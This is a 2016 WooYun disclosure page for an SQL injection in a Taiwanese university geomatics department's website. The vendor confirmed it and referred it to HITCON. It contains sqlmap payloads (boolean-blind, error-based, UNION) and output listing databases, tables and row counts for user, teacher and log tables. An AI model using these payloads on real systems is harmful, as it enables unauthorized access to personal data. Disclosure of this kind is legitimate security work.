当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169094

漏洞标题:國立成功大學某学系sql报错注入(涉及老师和学生用户+2万日志)(臺灣地區)

相关厂商:國立成功大學測量及空間資訊學系

漏洞作者: 路人甲

提交时间:2016-01-13 11:55

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-14: 厂商已经确认,细节仅向厂商公开
2016-01-24: 细节向核心白帽子及相关领域专家公开
2016-02-03: 细节向普通白帽子公开
2016-02-13: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

详细说明:

注入点:
报错注入

http://**.**.**.**/modules-Eng.php?page=IntroductionEng


直接爆dbs

Place: GET
Parameter: page
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=IntroductionEng' AND 9770=9770 AND 'iNlN'='iNlN
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: page=IntroductionEng' AND (SELECT 1024 FROM(SELECT C
0x3a64616e3a,(SELECT (CASE WHEN (1024=1024) THEN 1 ELSE 0 END)),0
OR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x
'uQum
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: page=IntroductionEng' UNION ALL SELECT NULL, NULL, C
e3a,0x474a5869624f50495a4e,0x3a706a713a), NULL, NULL, NULL, NULL,
D 'TwRs'='TwRs
---
[14:31:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
[14:31:58] [INFO] fetching database names
[14:32:00] [INFO] the SQL query used returns 2 entries
[14:32:02] [INFO] retrieved: information_schema
[14:32:03] [INFO] retrieved: geomatics
available databases [2]:
[*] geomatics
[*] information_schema


[14:33:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
[14:33:32] [INFO] fetching current user
[14:33:33] [INFO] heuristics detected web page charset 'ascii'
[14:33:33] [INFO] retrieved: becare@localhost
current user: 'becare@localhost'


涉及70表

Database: information_schema
[40 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: geomatics
[32 tables]
+---------------------------------------+
| `alumni-bak` |
| alumni |
| bbs |
| blockip |
| files |
| filesII |
| filesIII |
| graduation_photo |
| ieet_course_pdf_file |
| ieet_course_pdf_type |
| invite |
| invite_count |
| lesson |
| lessoneng |
| log |
| menubar |
| news |
| newsII |
| newsIII |
| news_class |
| page |
| paper |
| source |
| sys_log |
| teacher |
| teacher_data |
| teacher_memo |
| teacher_position |
| thesis |
| user |
| user_group |
| user_group_weight |
+---------------------------------------+


Database: geomatics
+-------+---------+
| Table | Entries |
+-------+---------+
| user | 34 |
+-------+---------+


Database: geomatics
+---------+---------+
| Table | Entries |
+---------+---------+
| teacher | 43 |
+---------+---------+


2万多日志

Database: geomatics
+-------+---------+
| Table | Entries |
+-------+---------+
| log | 28726 |
+-------+---------+


漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2016-01-14 03:33

厂商回复:

感謝通報

最新状态:

暂无